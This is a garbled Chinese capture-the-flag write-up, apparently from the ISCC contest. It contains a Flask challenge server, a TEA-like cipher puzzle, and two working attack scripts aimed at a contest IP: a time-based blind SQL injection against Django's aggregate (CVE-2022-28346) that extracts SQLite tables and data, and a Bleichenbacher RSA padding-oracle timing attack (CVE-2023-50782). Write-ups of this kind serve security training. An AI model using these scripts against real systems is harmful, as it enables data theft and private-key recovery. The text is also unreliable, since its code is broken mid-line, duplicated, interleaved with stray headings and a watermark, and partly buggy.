@app . route ( '/caught' )
def caught ():
return " 逮到你了!不可以在未经允许的情况下访问喵 ~"
@app . route ( '/ch4Os__xi4oHmdm' , methods = [ 'GET' ])
def chaos_1 ():
html_content = f'''
<pre>
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Random import get_random_bytes
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0,
len(key), self.BLOCK_SIZE//16)]
self.DELTA = 0x9e3779b9
self.IV = iv
self.ROUNDS = 64
if self.IV:
self.mode = Mode.CBC if iv else Mode.ECB
if len(self.IV) * 8 != self.BLOCK_SIZE:
self.mode = Mode.CFB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def encrypt_block(self, msg):
m0 = b2l(msg[:4])
m1 = b2l(msg[4:])
msk = (1 << (self.BLOCK_SIZE//2)) - 1
s = 0
for i in range(self.ROUNDS):
s += self.DELTA
m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^
((m1 >> 5) + self.KEY[(i+1) % len(self.KEY)])
m0 &= msk
m1 += ((m0 << 4) + self.KEY[(i+2) % len(self.KEY)]) ^ (m0 + s)
^ ((m0 >> 5) + self.KEY[(i+3) % len(self.KEY)])
m1 &= msk
return l2b((m0 << (self.BLOCK_SIZE//2)) | m1)
def encrypt(self, msg):
msg = pad(msg, self.BLOCK_SIZE//8)
blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg),
self.BLOCK_SIZE//8)]
ct = b''
if self.mode == Mode.ECB:
for pt in blocks:
ct += self.encrypt_block(pt)
elif self.mode == Mode.CBC:
X = self.IV
for pt in blocks:
enc_block = self.encrypt_block(self._xor(X, pt))
ct += enc_block
X = enc_block
elif self.mode == Mode.CFB:
X = self.IV
for pt in blocks:
output = self.encrypt_block(X)
enc_block = self._xor(output, pt)
ct += enc_block
X = enc_block
return ct
if __name__ == '__main__':
KEY = get_random_bytes(16)
IV = get_random_bytes(8)
cipher = Cipher(KEY, IV)
FLAG = b'xxxxxxxxxxxxxxxxxxx'
ct = cipher.encrypt(FLAG)
# KEY: 3362623866656338306539313238353733373566366338383563666264386133
print(f'KEY: {{KEY.hex()}}')
# IV: 64343537373337663034346462393931
print(f'IV: {{IV.hex()}}')
# Ciphertext: 1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808
print(f'Ciphertext: {{ct.hex()}}')
</pre>
'''
return html_content
# @app.route('/encrypt', methods=['GET'])
# def chaos_2():
# link = url_for('content', _external=True)
# code_content = f"""
# # -*- coding: utf-8 -*-
# from <a href="{link}" style="text-decoration: none; color: black; cursor:
text;">ISCC</a> import ISCC
# import base64
# secret_key = "00chaos00crypto00kyuyu00"
# iscc = <a href="{link}" style="text-decoration: none; color: black;
cursor: text;">ISCC</a>(secret_key)
# flag = "Flag[3]: xxxxxxxxxx"
# ciphertext = iscc.encrypt(flag)
# print base64.b64encode(ciphertext)
# """
# return '<pre>' + code_content + '</pre>'
# @app.route('/PPPYthOn__c00De', methods=['GET'])
# def content():
# code_content = """
# # -*- coding: utf-8 -*-
# substitution_box = [54, 132, 138, 83, 16, 73, 187, 84, 146, 30, 95, 21,
148, 63, 65, 189,
# 188, 151, 72, 161, 116, 63, 161, 91, 37, 24, 126,
107, 87, 30, 117, 185,
# 98, 90, 0, 42, 140, 70, 86, 0, 42, 150, 54, 22, 144,
153, 36, 90,
# 149, 54, 156, 8, 59, 40, 110, 56, 1, 84, 103, 22, 65,
17, 190, 41,
# 99, 151, 119, 124, 68, 17, 166, 125, 95, 65, 105,
133, 49, 19, 138, 29,
# 110, 7, 81, 134, 70, 87, 180, 78, 175, 108, 26, 121,
74, 29, 68, 162,
# 142, 177, 143, 86, 129, 101, 117, 41, 57, 34, 177,
103, 61, 135, 191, 74,
# 69, 147, 90, 49, 135, 124, 106, 19, 89, 38, 21, 41,
17, 155, 83, 38,
# 159, 179, 19, 157, 68, 105, 151, 166, 171, 122, 179,
114, 52, 183, 89, 107,
# 113, 65, 161, 141, 18, 121, 95, 4, 95, 101, 81, 156,
17, 190, 38, 84,
# 9, 171, 180, 59, 45, 15, 34, 89, 75, 164, 190, 140,
6, 41, 188, 77,
# 165, 105, 5, 107, 31, 183, 107, 141, 66, 63, 10, 9,
125, 50, 2, 153,
# 156, 162, 186, 76, 158, 153, 117, 9, 77, 156, 11,
145, 12, 169, 52, 57,
# 161, 7, 158, 110, 191, 43, 82, 186, 49, 102, 166, 31,
41, 5, 189, 27]
# def shuffle_elements(perm, items):
# return list(map(lambda x: items[x], perm))
# def xor_sum_mod(a, b):
# combine = lambda x, y: x + y - 2 * (x & y)
# result = ''
# for i in range(len(a)):
# result += chr(combine(ord(a[i]), ord(b[i])))
# return result
# def generate_subkeys(original):
# permuted = shuffle_elements(substitution_box, original)
# grouped_bits = []
# for i in range(0, len(permuted), 7):
# grouped_bits.append(permuted[i:i + 7] + [1])
# compressed_keys = []
# for group in grouped_bits[:32]:
# position = 0
# value = 0
# for bit in group:
# value += (bit << position)
# position += 1
# compressed_keys.append((0x10001 ** value) % 0x7f)
# return compressed_keys
# def bytes_to_binary_list(data):
# byte_data = [ord(char) for char in data]
# total_bits = len(byte_data) * 8
# binary_list = [0] * total_bits
# position = 0
# for byte in byte_data:
# for i in range(8):
# binary_list[(position << 3) + i] = (byte >> i) & 1
# position += 1
# return binary_list
# class ISCC:
# def __init__(self, secret_key):
# if len(secret_key) != 24 or not isinstance(secret_key, bytes):
# raise ValueError("Error.")
# self.secret_key = secret_key
# self.prepare_keys()
# def prepare_keys(self):
# binary_key = bytes_to_binary_list(self.secret_key)
# all_keys = []
# for _ in range(8):
# binary_key = generate_subkeys(binary_key)
# all_keys.extend(binary_key)
# binary_key = bytes_to_binary_list(''.join([chr(num) for num
in binary_key[:24]]))
# self.round_keys = []
# for i in range(32):
# self.round_keys.append(''.join(map(chr, all_keys[i * 8: i * 8
+ 8])))
# def process_block(self, data_block, encrypting=True):
# assert len(data_block) == 16, "Error."
# left_half, right_half = data_block[:8], data_block[8:]
# for round_key in self.round_keys:
# left_half, right_half = right_half,
xor_sum_mod(left_half, round_key)
# return right_half + left_half
# def encrypt(self, plaintext):
# if len(plaintext) % 16 != 0 or not isinstance(plaintext, bytes):
# raise ValueError("Plaintext must be a multiple of 16 bytes.")
# encrypted_text = ''
# for i in range(0, len(plaintext), 16):
# encrypted_text += self.process_block(plaintext[i:i+16], True)
# return encrypted_text
# """
# return '<pre>' + code_content + '</pre>'
app . run ( host = '0.0.0.0' )
找到 Flag[3] 加密逻辑:
from Crypto . Util . Padding import pad
from Crypto . Util . number import bytes_to_long as b2l , long_to_bytes as l2b
from Crypto . Random import get_random_bytes
from enum import Enum
class Mode ( Enum ):
ECB = 0x01
CBC = 0x02
CFB = 0x03
class Cipher :
def __init__ ( self , key , iv = None ):
self . BLOCK_SIZE = 64
self . KEY = [ b2l ( key [ i : i + self . BLOCK_SIZE // 16 ]) for i in range ( 0 ,
len ( key ), self . BLOCK_SIZE // 16 )]
self . DELTA = 0x9e3779b9
self . IV = iv
self . ROUNDS = 64
if self . IV :
self . mode = Mode . CBC if iv else Mode . ECB
if len ( self . IV ) * 8 != self . BLOCK_SIZE :
self . mode = Mode . CFB
def _xor ( self , a , b ):
return b'' . join ( bytes ([ _a ^ _b ]) for _a , _b in zip ( a , b ))
def encrypt_block ( self , msg ):
m0 = b2l ( msg [: 4 ])
m1 = b2l ( msg [ 4 :])
msk = ( 1 << ( self . BLOCK_SIZE // 2 )) - 1
s = 0
for i in range ( self . ROUNDS ):
s += self . DELTA
m0 += (( m1 << 4 ) + self . KEY [ i % len ( self . KEY )]) ^ ( m1 + s ) ^
(( m1 >> 5 ) + self . KEY [( i + 1 ) % len ( self . KEY )])
m0 &= msk
m1 += (( m0 << 4 ) + self . KEY [( i + 2 ) % len ( self . KEY )]) ^ ( m0 + s ) ^
(( m0 >> 5 ) + self . KEY [( i + 3 ) % len ( self . KEY )])
m1 &= msk
return l2b (( m0 << ( self . BLOCK_SIZE // 2 )) | m1 )
def encrypt ( self , msg ):
msg = pad ( msg , self . BLOCK_SIZE // 8 )
blocks = [ msg [ i : i + self . BLOCK_SIZE // 8 ] for i in range ( 0 , len ( msg ),
self . BLOCK_SIZE // 8 )]
ct = b''
if self . mode == Mode . ECB :
for pt in blocks :
ct += self . encrypt_block ( pt )
elif self . mode == Mode . CBC :
X = self . IV
for pt in blocks :
enc_block = self . encrypt_block ( self . _xor ( X , pt ))
ct += enc_block
X = enc_block
elif self . mode == Mode . CFB :
X = self . IV
for pt in blocks :
解密:
output = self . encrypt_block ( X )
enc_block = self . _xor ( output , pt )
ct += enc_block
X = enc_block
return ct
if __name__ == '__main__' :
KEY = get_random_bytes ( 16 )
IV = get_random_bytes ( 8 )
cipher = Cipher ( KEY , IV )
FLAG = b'xxxxxxxxxxxxxxxxxxx'
ct = cipher . encrypt ( FLAG )
# KEY: 3362623866656338306539313238353733373566366338383563666264386133
print ( f'KEY: {{KEY.hex()}}' )
# IV: 64343537373337663034346462393931
print ( f'IV: {{IV.hex()}}' )
# Ciphertext: 1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808
print ( f'Ciphertext: {{ct.hex()}}' )
解密:

栅栏解密:

 

与时俱进 

CVE-2022-28346
查看网页源代码,发现一个注释的 nick_name 字段,提示 aggregate。
进行注入测试,经验证该字段会被页面处理,会影响页面结果,但是没有回显。
结合题意,打时间盲注。
结合提示,且 django 默认使用 sqlite 作为数据库,验证发现是 sqlite 数据库。
时间盲注脚本:
import requests
import string
import time
def time_inject(condition):
url = "http://101.200.138.180:8003/inquiry/"
headers = {}
cookies = {
"csrftoken": "", # 填自己的
}
data = {
"csrfmiddlewaretoken": "", # 填自己的
"sel_value": "name",
"nick_name":
f'name",(case
when({condition})
then
randomblob(1000000000) else 0 end),"1',
}
while True:
try:
start = time.time()
response = requests.post(url, headers=headers, cookies=cookies,
data=data)
end = time.time()
time_cost = end - start
print("time cost: ", time_cost)
if time_cost > 3:
return True
else:
return False
except:
continue
def get_length(var_name):
for i in range(1, 1000):
if time_inject(f"length({var_name})={i}"):
return i
def get_char(var_name, index):
alphabet = string.printable
for c in alphabet:
if time_inject(f"substr({var_name},{index},1)='{c}'"):
return c
def get_value(var_name, length):
for i in range(1, length + 1):
char = get_char(var_name, i)
if char is None:
result += f"{{{i}}}"
else:
result += char
return result
def get_tables_name():
payload = "(select group_concat(tbl_name) from sqlite_master where
type='table' and tbl_name NOT like 'sqlite_%')"
length = get_length(payload)
result = get_value(payload, length)
return result
def get_schema(table_name):
payload = f"(select group_concat(sql) from sqlite_master where type='table'
and name='{table_name}')"
length = get_length(payload)
result = get_value(payload, length)
return result
def get_data(table_name, column_name):
payload = f"(select group_concat({column_name}) from {table_name})"
length = get_length(payload)
result = get_value(payload, length)
return result
def get_flag():
result = ""
for i in range(1, 14):
payload = "(select group_concat(flag) from flag)"
result += get_char(payload, i)
return result
def main():
print(get_flag())
# get_data('flag', 'flag')
if __name__ == "__main__":
main()
运行后得到 flag 是 url{i722vrr0},交了不对,访问该地址/i722vrr0,下载到了一
份源码:
根目录下有公钥、密文文件,查看依赖看见 cryptography==3.3.0。
审计之后,finally/views 和 finally/functions 存在加密解密逻辑,但是缺少私钥,
无法解密,猜测私钥存在服务器上:

 

CVE-2023-50782

漏洞披露信息显示是 Bleichenbacher timing oracle attack,搜索相关信息,找到
一 个 可 用 的 脚 本 : Classic Bleichenbacher RSA Padding Oracle Attack
(github.com)
基于此脚本修改得到:
import cryptography.hazmat.primitives.asymmetric.rsa as rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization
import binascii
import math
import textwrap
from Crypto.Util.number import *
import requests
def load_private_key_from_pem(file_path):
with open(file_path, 'rb') as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=None,
backend=default_backend()
)
return private_key
def load_public_key_from_pem(file_path):
with open(file_path, 'rb') as f:
public_key = serialization.load_pem_public_key(
f.read(),
backend=default_backend()
)
return public_key
def time_attack(ciphertext, threshold=0.4):
url = "http://101.200.138.180:8003/decode/"
headers = {
}
cookies = {
"csrftoken": "", # 填你自己的
}
data = {
"csrfmiddlewaretoken": "", # 填你自己的
"ciphertext": ciphertext
}
retries = 3
for i in range(retries):
try:
response = requests.post(
url,
headers=headers,
cookies=cookies,
data=data,
timeout=threshold)
if response.status_code != 200:
print("status_code:", response.status_code)
continue
print("response:", response.text)
return True
except requests.exceptions.Timeout:
return False
def local_setup():
'generates a key pair for local testing'
print('Using local loop back oracle for testing')
pub_key = load_public_key_from_pem("public_key3.pem")
pn = pub_key.public_numbers()
# print('
keysize: {}'.format(priv_key.key_size))
print('
e: {}'.format(pn.e))
print('
n: {}'.format(pn.n))
# print('
p: {}'.format(priv_key.private_numbers().p))
# print('
q: {}'.format(priv_key.private_numbers().q))
# print('
d: {}'.format(priv_key.private_numbers().d))
ciphertext = long_to_bytes(
int(open("message_bak3.log", "r").read().strip()))
print('
c: {}'.format(binascii.hexlify(ciphertext)))
print()
def oracle(ct):
c = int.from_bytes(ct, 'big')
return time_attack(c)
return ciphertext, oracle, pn.e, pn.n
# these two defs avoid rounding issues with floating point during
# division (especially with large numbers)
def ceildiv(a, b):
return -(-a // b)
def floordiv(a, b):
return (a // b)
oracle_ctr = 0
def main():
print('Bleichenbacher RSA padding algorithm')
print('
for more info see 1998 paper.')
print()
# setup parameters, change local_setup with alternative
# implementation, such as an oracle that uses a real server
ct, oracle, e, n = local_setup()
# byte length of n
k = int(ceildiv(math.log(n, 2), 8))
# convert ciphertext from bytes into integer
c = int.from_bytes(ct, 'big')
# lift oracle defition to take integers
def oracle_int(x):
global oracle_ctr
oracle_ctr = oracle_ctr + 1
if oracle_ctr % 100000 == 0:
print("[{}K tries] ".format(oracle_ctr // 1000), end='',
flush=True)
return oracle(x.to_bytes(k, 'big'))
# define B as size of ciphertext space
#
as first two bytes are 00 02, use 2^(keysize - 16)
B = pow(2, 8 * (k-2))
# precompute constants
_2B = 2 * B
_3B = 3 * B
def multiply(x, y): return (x * pow(y, e, n)) % n
# should be identity as c is valid cipher text
c0 = multiply(c, 1)
assert c0 == c
i = 1
M = [(_2B, _3B - 1)]
s = 1
# ensure everything is working as expected
if oracle_int(c0):
print('Oracle ok, implicit step 1 passed')
else:
print('Oracle fail sanity check')
exit(1)
while True:
if i == 1:
print('start case 2.a: ', end='', flush=True)
ss = ceildiv(n, _3B)
while not oracle_int(multiply(c0, ss)):
ss = ss + 1
print('done. found s1 in {} iterations: {}'.format(
ss - ceildiv(n, _3B), ss))
else:
assert i > 1
if len(M) > 1:
print('start case 2.b: ', end='', flush=True)
ss = s + 1
while not oracle_int(multiply(c0, ss)):
ss = ss + 1
print('done. found s{} in {} iterations: {}'.format(
i, ss-s, ss))
else:
print('start case 2.c: ', end='', flush=True)
assert len(M) == 1
a, b = M[0]
r = ceildiv(2 * (b * s - _2B), n)
ctr = 0
while True:
# note: the floor function below needed +1 added
# to it, this is not clear from the paper (see
# equation 2 in paper where \lt is used instead of
# \lte).
for ss in range(
ceildiv(_2B + r * n, b),
floordiv(_3B + r * n, a) + 1):
ctr = ctr + 1
严禁泄露 if oracle_int(multiply(c0, ss)):
break
else:
r = r + 1
continue
break
print('done. found s{} in {} iterations: {}'.format(i,
ctr, ss))
# step 3, narrowing solutions
MM = []
for a, b in M:
for r in range(ceildiv(a * ss - _3B + 1, n),
floordiv(b * ss - _2B, n) + 1):
m = (
max(a, ceildiv(_2B + r * n, ss)),
min(b, floordiv(_3B - 1 + r * n, ss))
)
if m not in MM:
MM.append(m)
print('found interval [{},{}]'.format(m[0], m[1]))
# step 4, compute solutions
M = MM
s = ss
i = i + 1
if len(M) == 1 and M[0][0] == M[0][1]:
print()
print('Completed!')
print('used the oracle {} times'.format(oracle_ctr))
# note, no need to find multiplicative inverse of s0 in n
# as s0 = 1, so M[0][0] is directly the message.
message = M[0][0].to_bytes(k, 'big')
print('raw decryption: {}'.format(
binascii.hexlify(message).decode('utf-8')))
if message[0] != 0 or message[1] != 2:
return
message = message[message.index(b'\x00', 1) + 1:]
print(message)
print('unpadded message hex: {}'.format(
binascii.hexlify(message).decode('utf-8')))
try:
print('unpadded message ascii: {}'.format(
message.decode('utf-8')))
except UnicodeError:
pass
return
if __name__ == "__main__":
main()

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